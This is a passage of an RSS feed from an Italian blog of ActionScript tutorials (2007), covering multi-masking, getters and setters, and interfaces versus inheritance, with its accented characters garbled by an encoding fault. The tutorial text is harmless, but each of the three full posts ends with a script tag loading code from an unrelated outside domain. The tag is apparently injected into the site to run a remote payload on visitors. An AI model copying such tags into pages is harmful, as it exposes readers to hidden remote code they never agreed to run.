			<wfw:commentRss>http://www.flashfuck.it/2007/08/20/adattare-un-swf-alle-dimensioni-del-browser-con-actionscript-oggetto-stage-e-css/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>AS2 Multi Mask &#8211; come assegnare la stessa maschera a pi√π movieclip</title>
		<link>http://www.flashfuck.it/2007/08/09/as2-multi-mask-come-assegnare-la-stessa-maschera-a-piu-movieclip/</link>
		<comments>http://www.flashfuck.it/2007/08/09/as2-multi-mask-come-assegnare-la-stessa-maschera-a-piu-movieclip/#comments</comments>
		<pubDate>Thu, 09 Aug 2007 10:50:36 +0000</pubDate>
		<dc:creator>pigiuz</dc:creator>
				<category><![CDATA[ActionScript]]></category>
		<category><![CDATA[ActionScript 2]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[Source]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/2007/08/09/as2-multi-mask-come-assegnare-la-stessa-maschera-a-piu-movieclip/</guid>
		<description><![CDATA[La domanda da porsi √®:
e se volessi mascherare pi√π di un movieclip con la stessa maschera partendo da un mc gi√† mascherato?
La risposta √®:
esiste un hack a riguardo fin dai tempi di flash mx.
Funziona cos√¨:
si maschera un movieclip direttamente da timeline, gli si assegna un nome istanza (ad esempio &#8220;myClip&#8221;).
Una volta mascherato si pu√≤ procedere [...]]]></description>
			<content:encoded><![CDATA[<p>La domanda da porsi √®:<br />
<em>e se volessi mascherare pi√π di un movieclip con la stessa maschera partendo da un mc gi√† mascherato</em>?</p>
<p>La risposta √®:<br />
esiste un hack a riguardo fin dai tempi di flash mx.</p>
<p>Funziona cos√¨:<br />
si maschera un movieclip direttamente da timeline, gli si assegna un nome istanza (ad esempio &#8220;myClip&#8221;).<br />
Una volta mascherato si pu√≤ procedere con la parte di script.</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p20code12'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p2012"><td class="code" id="p20code12"><pre class="actionscript" style="font-family:monospace;">myClip.<span style="color: #0066CC;">attachMovie</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;movieclipinlibreria&quot;</span>,<span style="color: #ff0000;">&quot;nome&quot;</span>,myClip.<span style="color: #0066CC;">getDepth</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>-<span style="color: #cc66cc;">1</span><span style="color: #66cc66;">&#41;</span>;</pre></td></tr></table></div>

<p>cos√¨ facendo il nuovo clip inserito nello stage sar√† mascherato esattamente come myClip.<br />
<span id="more-20"></span></p>
<p>Quanto vale per  attachMovie vale anche per createEmptyMovieClip, baster√† mantenere il livello &#8220;myClip.getDepth()-1&#8243; per rientrare nel caso.</p>
<p>Ma, <em>se volessi mascherare direttamente il mio clip via actionscript senza doverlo mascherare da timeline</em>?<br />
<a href="http://newweb.tread.net/download/prog_01/wav/animal/donkey.wav">Qui casca l&#8217;asino</a>.<br />
Con questo &#8220;hack&#8221; non si elude il metodo setmask della classe MovieClip, √® solo un modo per raggirarlo facendo leva sui livelli.<br />
Un modo per ovviare al problema per√≤ esiste.<br />
Nessuno ha detto che myClip debba essere visibile o non vuoto.<br />
Creando in libreria un movieclip &#8220;mc_mascherato&#8221; nel quale posiziono una maschera e un &#8220;myClip&#8221; vuoto si potrebbe replicare la situazione all&#8217;infinito utilizzando come timeline di riferimento proprio quella di mc_mascherato anzich√® quella principale.<br />
Le applicazioni di questo &#8220;hack&#8221; per il multi masking sono davvero tante, dalla image gallery all&#8217;intro animata, ad una semplice transizione.</p>
<p>Quasi dimenticavo, qui potete scaricarvi un esempio base.<a href='http://www.flashfuck.it/wp-content/uploads/2007/08/multimask.zip' title='AS2 Flash multi mask'>qui potete scaricarvi un esempio base</a><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.flashfuck.it/2007/08/09/as2-multi-mask-come-assegnare-la-stessa-maschera-a-piu-movieclip/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
<enclosure url="http://newweb.tread.net/download/prog_01/wav/animal/donkey.wav" length="21478" type="audio/wav" />
		</item>
		<item>
		<title>Actionscript getters setters VS public vars: cosa sono, come e quando si usano</title>
		<link>http://www.flashfuck.it/2007/08/08/actionscript-getters-setters-vs-public-vars-cosa-sono-come-e-quando-si-usano/</link>
		<comments>http://www.flashfuck.it/2007/08/08/actionscript-getters-setters-vs-public-vars-cosa-sono-come-e-quando-si-usano/#comments</comments>
		<pubDate>Wed, 08 Aug 2007 12:27:36 +0000</pubDate>
		<dc:creator>pigiuz</dc:creator>
				<category><![CDATA[ActionScript]]></category>
		<category><![CDATA[ActionScript 2]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Tutorials]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/2007/08/08/actionscript-getters-setters-vs-public-vars-cosa-sono-come-e-quando-si-usano/</guid>
		<description><![CDATA[Anche un newbie di actionscript sa cosa significa questa riga di codice:

?View Code ACTIONSCRIPTvar myInstance:MyClass = new MyClass&#40;&#41;;
myInstance.myVar = 1;

la propriet√† &#8220;myVar&#8221; dell&#8217;istanza di classe myInstance assume il valore 1.
Ma forse non √® cos√¨ immediato capire cosa pu√≤ nascondere la stessa riga di codice.
public var
E&#8217; possibile che nell&#8217;ipotetica classe MyClass di cui myInstance √® un&#8217;istanza [...]]]></description>
			<content:encoded><![CDATA[<p>Anche un newbie di actionscript sa cosa significa questa riga di codice:</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p19code18'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p1918"><td class="code" id="p19code18"><pre class="actionscript" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">var</span> myInstance:MyClass = <span style="color: #000000; font-weight: bold;">new</span> MyClass<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
myInstance.<span style="color: #006600;">myVar</span> = <span style="color: #cc66cc;">1</span>;</pre></td></tr></table></div>

<p>la propriet√† &#8220;myVar&#8221; dell&#8217;istanza di classe myInstance assume il valore 1.</p>
<p>Ma forse non √® cos√¨ immediato capire cosa pu√≤ nascondere la stessa riga di codice.<span id="more-19"></span></p>
<p><strong>public var</strong><br />
E&#8217; possibile che nell&#8217;ipotetica classe MyClass di cui myInstance √® un&#8217;istanza nella mia timeline ci sia effettivamente una variabile pubblica di nome &#8220;myVar&#8221;, di tipo Number (AS2\AS3) o int\uint (AS3) come mostrato dal codice qui sotto</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p19code19'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p1919"><td class="code" id="p19code19"><pre class="actionscript" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">class</span> MyClass<span style="color: #66cc66;">&#123;</span>
<span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">var</span> myVar:<span style="color: #0066CC;">Number</span>;
<span style="color: #66cc66;">&#125;</span></pre></td></tr></table></div>

<p>In questa situazione la variabile myVar √® accessibile, veloce ma accessibile&#8230;forse troppo accessibile.<br />
Poniamo il caso che si verifichi la situazione per cui erroneamente venisse associato a myVar un valore di tipo errato&#8230;</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p19code20'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p1920"><td class="code" id="p19code20"><pre class="actionscript" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">var</span> myInstance:MyClass = <span style="color: #000000; font-weight: bold;">new</span> MyClass<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
&nbsp;
myInstance.<span style="color: #006600;">myVar</span> = <span style="color: #ff0000;">&quot;ciao&quot;</span>;</pre></td></tr></table></div>

<p>..si genererebbe un errore grossolano&#8230;<br />
Ecco uno dei motivi principali per cui esistono i cosiddetti &#8220;getters&#8221; o &#8220;setters&#8221;.</p>
<p><strong>getters setters</strong><br />
Sicuramente alla maggior parte di chi sta leggendo questo articolo su FlashFuck sar√† capitato di incappare su del codice simile a questo</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p19code21'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p1921"><td class="code" id="p19code21"><pre class="actionscript" style="font-family:monospace;"><span style="color: #808080; font-style: italic;">//Void AS2 | void AS3</span>
<span style="color: #0066CC;">private</span> <span style="color: #000000; font-weight: bold;">var</span> _myVar:<span style="color: #0066CC;">Number</span>;
<span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">function</span> <span style="color: #0066CC;">set</span> myVar <span style="color: #66cc66;">&#40;</span>n:<span style="color: #0066CC;">Number</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span><span style="color: #66cc66;">&#123;</span>
_myVar = n;
<span style="color: #66cc66;">&#125;</span>
<span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">function</span> <span style="color: #0066CC;">get</span> myVar <span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">Number</span><span style="color: #66cc66;">&#123;</span>
<span style="color: #b1b100;">return</span> _myVar ;
<span style="color: #66cc66;">&#125;</span></pre></td></tr></table></div>

<p>Questo tipo di approccio permette di gestire con le due funzioni <strong>get</strong> e <strong>set</strong> il recupero e l&#8217;assegnazione di dati alla variabile privata _myVar.</p>
<p>In termini di utilizzo non cambia nulla, si potr√† continuare ad usare la notazione</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p19code22'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p1922"><td class="code" id="p19code22"><pre class="actionscript" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">var</span> myInstance:MyClass = <span style="color: #000000; font-weight: bold;">new</span> MyClass<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
myInstance.<span style="color: #006600;">myVar</span> = <span style="color: #cc66cc;">1</span>;</pre></td></tr></table></div>

<p>per assegnare il valore alla variabile.. (solo che in questo caso il valore viene assegnato alla variabile privata _myVar, mentre myVar √® solo il nome del getter\setter)</p>
<p>In termini di controllo del codice l&#8217;utilizzo di get e set √® notevolmente migliore rispetto all&#8217;utilizzo di una variabile pubblica,<br />
tuttavia in termini di prestazioni una variabile pubblica √® notevolmente pi√π veloce di una funzione (non dimentichiamo che get e set sono appunto delle funzioni, quindi richiedono l&#8217;allocazione di pi√π memoria).</p>
<p>Quindi, quando usare get e set al posto di una variabile pubblica?<br />
La risposta √® presto detta anche se piuttosto banale: quando se ne richiede l&#8217;uso.</p>
<ul>
<li>se √® possibile che il codice generi degli errori dovuti all&#8217;assegnazione di valori ambigui ad una variabile&#8230;</li>
<li>se √® necessario che all&#8217;assegnazione del valore venga eseguita qualche altra funzione&#8230;</li>
<li>se √® necessario eseguire il dispatch di un evento&#8230;</li>
</ul>
<p>potrebbe rendersi preferibile l&#8217;uso dei getter\setter piuttosto che utilizzare variabili pubbliche&#8230;<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.flashfuck.it/2007/08/08/actionscript-getters-setters-vs-public-vars-cosa-sono-come-e-quando-si-usano/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Actionscript 3 Object Oriented Programming, implements Interface vs extends Class</title>
		<link>http://www.flashfuck.it/2007/07/20/actionscript-3-object-oriented-programming-implements-interface-vs-extends-class/</link>
		<comments>http://www.flashfuck.it/2007/07/20/actionscript-3-object-oriented-programming-implements-interface-vs-extends-class/#comments</comments>
		<pubDate>Fri, 20 Jul 2007 13:31:33 +0000</pubDate>
		<dc:creator>pigiuz</dc:creator>
				<category><![CDATA[ActionScript]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[Tutorials]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/2007/07/20/actionscript-3-object-oriented-programming-implements-interface-vs-extends-class/</guid>
		<description><![CDATA[Partiamo da qui:
Actionscript 3 rispetto ai suoi predecessori fa un balzo clamoroso verso l&#8217;OOP (object oriented programming) &#8220;vero&#8221;.
In un linguaggio Object Oriented il codice viene organizzato appunto in &#8220;oggetti&#8221;, ossia contenitori di funzionalit√† con metodi e propriet√† definite.
Ora, per comprendere meglio cosa significhi in AS3 questa affermazione procediamo ad esempi.

Immaginiamo un nostro &#8220;mondo&#8221; da codificare, [...]]]></description>
			<content:encoded><![CDATA[<p>Partiamo da qui:<br />
<em>Actionscript 3 rispetto ai suoi predecessori fa un balzo clamoroso verso l&#8217;<a href="http://it.wikipedia.org/wiki/OOP">OOP</a> (object oriented programming) &#8220;vero&#8221;.</em></p>
<p>In un linguaggio Object Oriented il codice viene organizzato appunto in &#8220;oggetti&#8221;, ossia <em>contenitori di funzionalit√†</em> con <em>metodi</em> e <em>propriet√†</em> definite.</p>
<p>Ora, per comprendere meglio cosa significhi in AS3 questa affermazione procediamo ad esempi.<br />
<span id="more-15"></span></p>
<p>Immaginiamo un nostro &#8220;mondo&#8221; da codificare, un esempio potrebbero essere le persone&#8230;</p>
<p>Creiamo quindi una classe &#8220;Human&#8221; come segue:</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p15code28'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p1528"><td class="code" id="p15code28"><pre class="actionscript" style="font-family:monospace;"><span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">class</span> Human
<span style="color: #66cc66;">&#123;</span>
	<span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">var</span> sex :<span style="color: #0066CC;">String</span>;
	<span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">var</span> <span style="color: #0066CC;">name</span> : <span style="color: #0066CC;">String</span>;
	<span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">var</span> age : <span style="color: #0066CC;">Number</span>;
	<span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">var</span> <span style="color: #0066CC;">height</span> : <span style="color: #0066CC;">Number</span>;
	<span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">var</span> weight : <span style="color: #0066CC;">Number</span>;
&nbsp;
	<span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">function</span> Human<span style="color: #66cc66;">&#40;</span>strName:<span style="color: #0066CC;">String</span>, strSex:<span style="color: #0066CC;">String</span><span style="color: #66cc66;">&#41;</span>
	<span style="color: #66cc66;">&#123;</span> <span style="color: #808080; font-style: italic;">/* nascita + assegna nome + setta age=0 + assegna sesso (costruttore)*/</span> <span style="color: #66cc66;">&#125;</span>
&nbsp;
	<span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">function</span> compleanno<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span> : <span style="color: #0066CC;">void</span>
	<span style="color: #66cc66;">&#123;</span> <span style="color: #808080; font-style: italic;">/* invecchia (age++) */</span>  <span style="color: #66cc66;">&#125;</span>
&nbsp;
	<span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">function</span> morte<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span> : <span style="color: #0066CC;">void</span>
	<span style="color: #66cc66;">&#123;</span> <span style="color: #808080; font-style: italic;">/* morte */</span>  <span style="color: #66cc66;">&#125;</span>
&nbsp;
	<span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">function</span> respira<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span> : <span style="color: #0066CC;">void</span>
	<span style="color: #66cc66;">&#123;</span> <span style="color: #808080; font-style: italic;">/* respira continuamente */</span> <span style="color: #66cc66;">&#125;</span>
<span style="color: #66cc66;">&#125;</span></pre></td></tr></table></div>

<p><strong>Extend</strong><br />
Nella classe &#8220;Human&#8221; abbiamo stabilito delle &#8220;propriet√†&#8221; e delle &#8220;funzionalit√†&#8221; che caratterizzano tutti gli esseri umani.<br />
Ora cerchiamo di capire come lavorare la classe in termini di OOP e proviamo a capire il concetto di <strong>ereditariet√†</strong> delle classi.</p>
<p>Creiamo 2 classi partendo da, o meglio <em>estendendo</em> Human:</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p15code29'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p1529"><td class="code" id="p15code29"><pre class="actionscript" style="font-family:monospace;"><span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">class</span> Man <span style="color: #0066CC;">extends</span> Human
<span style="color: #66cc66;">&#123;</span>
	<span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">function</span> Man<span style="color: #66cc66;">&#40;</span>strName:<span style="color: #0066CC;">String</span><span style="color: #66cc66;">&#41;</span>
	<span style="color: #66cc66;">&#123;</span> <span style="color: #0066CC;">super</span><span style="color: #66cc66;">&#40;</span>strName,<span style="color: #ff0000;">&quot;M&quot;</span><span style="color: #66cc66;">&#41;</span>; <span style="color: #66cc66;">&#125;</span>
<span style="color: #66cc66;">&#125;</span>
&nbsp;
<span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">class</span> Woman <span style="color: #0066CC;">extends</span> Human
<span style="color: #66cc66;">&#123;</span>
	<span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">function</span> Woman<span style="color: #66cc66;">&#40;</span>strName:<span style="color: #0066CC;">String</span><span style="color: #66cc66;">&#41;</span>
	<span style="color: #66cc66;">&#123;</span> <span style="color: #0066CC;">super</span><span style="color: #66cc66;">&#40;</span>strName,<span style="color: #ff0000;">&quot;F&quot;</span><span style="color: #66cc66;">&#41;</span>; <span style="color: #66cc66;">&#125;</span>
&nbsp;
	<span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">function</span> parto<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span>
	<span style="color: #66cc66;">&#123;</span> <span style="color: #808080; font-style: italic;">/* crea un nuovo human */</span> <span style="color: #66cc66;">&#125;</span>
<span style="color: #66cc66;">&#125;</span></pre></td></tr></table></div>

<p>Le due classi Man e Woman <em>ereditano</em> dalla classe estesa Human tutte le sue funzionalit√† e propriet√† e ne possono aggiungere delle altre, ad esempio Woman ha a disposizione tutti i metodi di Human con l&#8217;aggiunta del metodo &#8220;parto&#8221;.</p>
<p>E&#8217; possibile usare anche la keyword <strong>override</strong> per sovrascrivere uno stesso metodo in una classe estesa. Mi spiego meglio, se volessi modificare la frequenza di respirazione di un&#8217;istanza della classe &#8220;Man&#8221; dovrei ridichiarare all&#8217;interno della classe Man la funzione &#8220;respira&#8221; gi√† presente in Human, cos√¨ facendo Human manterr√† invariata la funzione respira e Man (e le sue eventuali sottoclassi) erediterebbero la funzione sovrascritta.</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p15code30'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p1530"><td class="code" id="p15code30"><pre class="actionscript" style="font-family:monospace;">override <span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">function</span> respira<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span> : <span style="color: #0066CC;">void</span>
<span style="color: #66cc66;">&#123;</span> <span style="color: #808080; font-style: italic;">/* cambia frequenza di respirazione */</span> <span style="color: #66cc66;">&#125;</span></pre></td></tr></table></div>

<p>Seguendo questa logica di programmazione la classe che ne estende un&#8217;altra √® a sua volta un membro della classe estesa. Questo significa che ad esempio ad una funzione che accetta come input un valore di tipo Human √® possibile passare un valore di tipo Man o Woman in quanto Man e Woman estendono Human e ne ereditano propriet√† e metodi.</p>
<p><strong>Interface</strong><br />
Un&#8217;altra logica di programmazione per ottenere un simile risultato √® l&#8217;ottica delle <em>interfacce</em>.<br />
Un&#8217;interfaccia √® una serie di regole alle quali le classi che la <em>implementano</em> si devono attenere.<br />
Un&#8217;interfaccia non definisce del codice vero e proprio, definisce piuttosto i contenitori che dovranno essere riempiti dal codice.<br />
Torniamo all&#8217;esempio della classe Human.<br />
Se pensassimo alla classe Human di prima come interfaccia avremmo questo:</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p15code31'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p1531"><td class="code" id="p15code31"><pre class="actionscript" style="font-family:monospace;"><span style="color: #0066CC;">public</span> <span style="color: #0066CC;">interface</span> IHuman
<span style="color: #66cc66;">&#123;</span>
	<span style="color: #000000; font-weight: bold;">function</span> compleanno<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span> : <span style="color: #0066CC;">void</span>
	<span style="color: #000000; font-weight: bold;">function</span> morte<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span> : <span style="color: #0066CC;">void</span>
	<span style="color: #000000; font-weight: bold;">function</span> respira<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span> : <span style="color: #0066CC;">void</span>
<span style="color: #66cc66;">&#125;</span></pre></td></tr></table></div>

<p>L&#8217;interfaccia IHuman (√® buona norma mettere una &#8220;I&#8221; davanti alle interfacce&#8230;non cambia nulla, ma almeno vi capite) comprende le definizioni dei metodi delle classi che andranno ad implementarla.</p>
<p>Ma come si implementa un&#8217;interfaccia?<br />
Tornando all&#8217;esempio di prima:</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p15code32'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p1532"><td class="code" id="p15code32"><pre class="actionscript" style="font-family:monospace;"><span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">class</span> Man <span style="color: #0066CC;">implements</span> IHuman
<span style="color: #66cc66;">&#123;</span>
	<span style="color: #0066CC;">private</span> const sex :<span style="color: #0066CC;">String</span> = <span style="color: #ff0000;">&quot;M&quot;</span>;
	<span style="color: #0066CC;">private</span> <span style="color: #000000; font-weight: bold;">var</span> age : <span style="color: #0066CC;">Number</span>;
&nbsp;
	<span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">function</span> compleanno<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span> : <span style="color: #0066CC;">void</span>
	<span style="color: #66cc66;">&#123;</span> <span style="color: #808080; font-style: italic;">/* invecchia (age++) */</span>  <span style="color: #66cc66;">&#125;</span>
&nbsp;
	<span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">function</span> morte<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span> : <span style="color: #0066CC;">void</span>
	<span style="color: #66cc66;">&#123;</span> <span style="color: #808080; font-style: italic;">/* morte */</span>  <span style="color: #66cc66;">&#125;</span>
&nbsp;
	<span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">function</span> respira<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span> : <span style="color: #0066CC;">void</span>
	<span style="color: #66cc66;">&#123;</span> <span style="color: #808080; font-style: italic;">/* respira continuamente */</span> <span style="color: #66cc66;">&#125;</span>
<span style="color: #66cc66;">&#125;</span></pre></td></tr></table></div>

<p>&#8220;Man&#8221; implementa l&#8217;interfaccia IHuman, quindi se una funzione chiedesse in input un valore di tipo IHuman accetterebbe anche Man senza problemi.<br />
Ma se creassimo un&#8217;altra classe &#8220;Woman&#8221; che implementi IHuman, che rapporto avrebbe questa con la classe Man?<br />
Nel caso di extend le classi Man e Woman ereditavano gli stessi metodi e propriet√† dalla classe Human. Nel caso delle interfacce la logica cambia quasi radicalmente. Tutte le classi che implementano una stessa interfaccia devono soddisfare le dichiarazioni fatte nell&#8217;interfaccia stessa, devono quindi &#8220;riempire&#8221; con del codice i &#8220;contenitori&#8221; definiti nell&#8217;interfaccia, tuttavia <strong>il codice delle singole classi non √® in alcun modo legato n√® all&#8217;interfaccia n√® alle altre classi che la implementano</strong>. Questo significa che la funzione &#8220;morte&#8221; di Man pu√≤ fare cose completamente diverse dalla funzione con lo stesso nome presente in una classe &#8220;Woman&#8221; che sta implementando la stessa interfaccia.</p>
<p><strong>Combinare Extend Class e Implement Interface</strong><br />
Non va dimenticato che una via non esclude l&#8217;altra. Si possono combinare le logiche di interfacce ed estensioni di classe per soddisfare le proprie esigenze.<br />
Ad esempio potrebbe essere opportuno creare un&#8217;interfaccia Human implementata dalla classe Man a sua volta estesa dalla classe Boy.<br />
Boy in questo caso avrebbe tutti i metodi presenti in IHuman ed erediterebbe tutte le propriet√† di Man, inoltre sarebbe membro sia dell&#8217;interfaccia IHuman che della classe Man e soddisferebbe entrambi i tipi richiesti da un&#8217;eventuale funzione.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.flashfuck.it/2007/07/20/actionscript-3-object-oriented-programming-implements-interface-vs-extends-class/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SEO con Javascript per Actionscript Flash Flex AJAX, si chiama asual SWFAddress ed √® opensource</title>
		<link>http://www.flashfuck.it/2007/07/18/seo-con-javascript-per-actionscript-flash-flex-ajax-si-chiama-asual-swfaddress-ed-e-opensource/</link>
		<comments>http://www.flashfuck.it/2007/07/18/seo-con-javascript-per-actionscript-flash-flex-ajax-si-chiama-asual-swfaddress-ed-e-opensource/#comments</comments>
		<pubDate>Tue, 17 Jul 2007 23:38:51 +0000</pubDate>
		<dc:creator>pigiuz</dc:creator>
				<category><![CDATA[ActionScript]]></category>
		<category><![CDATA[ActionScript 2]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[Open Source]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/2007/07/18/seo-con-javascript-per-actionscript-flash-flex-ajax-si-chiama-asual-swfaddress-ed-e-opensource/</guid>
		<description><![CDATA[Utilizzare tecnologie client side quali Flash, Flex, Ajax all&#8217;interno di un website pu√≤ aumentare l&#8217;usabilit√† del sito stesso, pu√≤ rendere pi√π gradevole l&#8217;interfaccia, pi√π intuitiva la navigazione, ma rende decisamente pi√π difficile ed impervia l&#8217;ottimizzazione per i motori di ricerca (SEO).
Uno dei metodi utilizzati per il posizionamento di siti fortemente aggrappati alle tecnologie client √® [...]]]></description>
			<content:encoded><![CDATA[<p>Utilizzare tecnologie client side quali Flash, Flex, Ajax all&#8217;interno di un website pu√≤ aumentare l&#8217;usabilit√† del sito stesso, pu√≤ rendere pi√π gradevole l&#8217;interfaccia, pi√π intuitiva la navigazione, ma rende decisamente pi√π difficile ed impervia l&#8217;ottimizzazione per i motori di ricerca (SEO).</p>
